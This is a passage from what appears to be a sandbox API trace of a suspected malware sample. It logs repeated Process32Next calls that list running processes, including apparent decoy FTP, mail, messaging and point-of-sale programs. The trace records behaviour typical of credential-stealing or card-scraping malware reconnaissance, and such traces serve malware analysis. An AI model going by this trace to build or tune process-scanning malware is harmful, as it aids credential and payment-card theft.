th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0213.152] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.156] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.159] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0213.161] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0213.164] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0213.166] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0213.168] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0213.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0213.174] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0213.176] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.178] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.181] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0213.185] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.187] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0213.189] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0213.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0213.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0213.197] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0213.199] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0213.201] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0213.204] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0213.207] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0213.210] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0213.212] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0213.215] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0213.217] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0213.219] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0213.221] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0213.333] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0213.335] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0213.337] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0213.338] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0213.340] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0213.342] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0213.343] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0213.345] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0213.347] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0213.351] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0213.354] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0213.356] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0213.359] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0213.361] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0213.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0213.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0213.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0213.369] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0213.371] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0213.373] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0213.375] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0213.378] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0213.380] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0213.382] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0213.384] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0213.387] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0213.389] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0213.392] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0213.393] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0213.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0213.398] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0213.400] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0213.402] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0213.404] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0213.406] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0213.408] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0213.410] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0213.412] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0213.414] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0213.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0213.418] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0213.420] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0213.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0213.424] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0213.426] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0213.428] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0213.429] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0213.431] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0213.433] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.435] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0213.437] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0213.439] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.550] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0213.552] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0213.554] Process32Next (in: 